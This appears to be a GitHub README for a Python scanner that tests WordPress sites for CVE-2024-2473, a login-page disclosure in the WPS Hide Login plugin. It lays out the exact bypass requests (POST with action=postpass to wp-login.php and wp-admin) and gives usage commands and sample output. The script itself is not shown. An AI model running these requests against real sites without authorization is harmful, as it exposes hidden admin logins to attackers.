A professional Python scanner to detect Login Page Disclosure in WordPress sites running WPS Hide Login ≤ 1.9.15.2

Coded by Venexy

Overview
Vulnerability Details
How It Works
Requirements
Installation
Usage
Output Example
Disclaimer
References

Overview

WPS Hide Login is a popular WordPress plugin that allows administrators to change the default /wp-login.php URL to a custom, hidden path — acting as security through obscurity.

This scanner detects CVE-2024-2473, a vulnerability where the action=postpass parameter can be supplied to bypass the plugin's protection mechanism entirely, exposing the hidden login page URL to unauthenticated attackers.

Vulnerability Details

Description

The WPS Hide Login plugin relocates the WordPress login page from the default /wp-login.php to a custom URL chosen by the administrator. However, in all versions up to and including 1.9.15.2, supplying the action=postpass query parameter to either /wp-login.php or /wp-admin/ bypasses this protection, revealing the hidden login form's actual action URL — effectively exposing the secret login path to any unauthenticated attacker.

How It Works

The scanner replicates the vulnerability's attack flow across three phases:

Phase 1  ─►  Confirm target is a WordPress installation
                  │
                  ▼
Phase 2a ─►  POST /wp-login.php?action=postpass
             with body: action=lostpassword&post_password=test
             Check: HTTP 200 + lostpasswordform present + no wp-login.php in body
             Extract hidden login URL from form action attribute
                  │
Phase 2b ─►  POST /wp-admin/?action=postpass
             Check: HTTP 302 redirect to location containing reauth=1 or /login
                  │
                  ▼
             Report hidden login URL if discovered

If either Phase 2a or Phase 2b matches, the target is flagged as vulnerable.

Requirements

Python 3.7 or higher
requests library

Installation

1. Clone the repository

git clone https://github.com/m4xsec/CVE-2024-2473.git
cd CVE-2024-2473

2. Install dependencies

pip install requests

Note: On systems using Python virtual environments or Kali Linux, you may need:
pip install requests --break-system-packages

Usage

python CVE-2024-2473.py -u <TARGET_URL> [-t TIMEOUT]

Arguments

Argument	Description	Default
`-u`, `--url`	Target WordPress base URL

Examples

# Basic scan
python CVE-2024-2473.py -u https://example.com

# Scan with custom timeout
python CVE-2024-2473.py -u https://example.com --timeout 15

# Scan over HTTP
python CVE-2024-2473.py -u http://192.168.1.100

Output Example

 ...

  ┌─────────────────────────────────────────────────────────────┐
  │  CVE-2024-2473  •  WPS Hide Login Page Identifier           │
  │  Coded by Venexy | https://github.com/m4xsec               │
  └─────────────────────────────────────────────────────────────┘

  ===============================================================
    TARGET    https://example.com
    TIME      2024-11-01 18:00:00
    TIMEOUT   10s
  ===============================================================

  [18:00:00] [*] Phase 1 | Fingerprinting WordPress installation ...
  [18:00:01] [+] WordPress confirmed — https://example.com

  [18:00:01] [*] Phase 2 | Testing CVE-2024-2473 bypass vectors ...

  [18:00:01] [*] Vector A | POST /wp-login.php?action=postpass
             +- Status : 200   Result : MATCH

  [18:00:02] [*] Vector B | POST /wp-admin/?action=postpass
             +- Status : 302   Result : MATCH

  ###############################################################
  ##           VULNERABILITY CONFIRMED  --  CVE-2024-2473      ##
  ###############################################################

    Plugin          WPS Hide Login <= 1.9.15.2
    Severity        Medium (CVSS 5.3 / EPSS 93rd percentile)
    CWE             CWE-200 — Exposure of Sensitive Information
    CVSS Vector     AV:N / AC:L / PR:N / UI:N / S:U / C:L / I:N / A:N

  [18:00:02] [VULN] Bypass confirmed via /wp-login.php?action=postpass

  ====================================================
        HIDDEN LOGIN URL DISCOVERED
  ====================================================

  >>  https://example.com/my-secret-admin-path/

  ====================================================

Disclaimer

This tool is intended for authorized security testing and educational purposes only.

The author is not responsible for any misuse or damage caused by this tool. Always obtain explicit written permission from the target system owner before conducting any security assessment. Unauthorized scanning or exploitation of systems is illegal and unethical.

Use responsibly.

References

Coded with ❤️ by Venexy

If this tool helped you, consider giving the repository a ⭐🌟🌟🌟

CVE ID	CVE-2024-2473
Affected	WPS Hide Login plugin ≤ 1.9.15.2 for WordPress
Severity	Medium
CVSS Score	5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
CWE	CWE-200 — Exposure of Sensitive Information
EPSS Score	0.10433 (93rd percentile)
Auth Required	None
Vendor	WPServeur
Remediation	Update plugin to version > 1.9.15.2

NVD — CVE-2024-2473	https://nvd.nist.gov/vuln/detail/CVE-2024-2473
Wordfence Advisory	https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wps-hide-login/wps-hide-login-19152-login-page-disclosure
WPS Hide Login Plugin	https://wordpress.org/plugins/wps-hide-login/
CWE-200	https://cwe.mitre.org/data/definitions/200.html
CVSS 3.1 Calculator	https://www.first.org/cvss/calculator/3.1

CVE-2024-2473

Most Popular

CVE-2024-2473 — WPS Hide Login Page Identifier

Table of Contents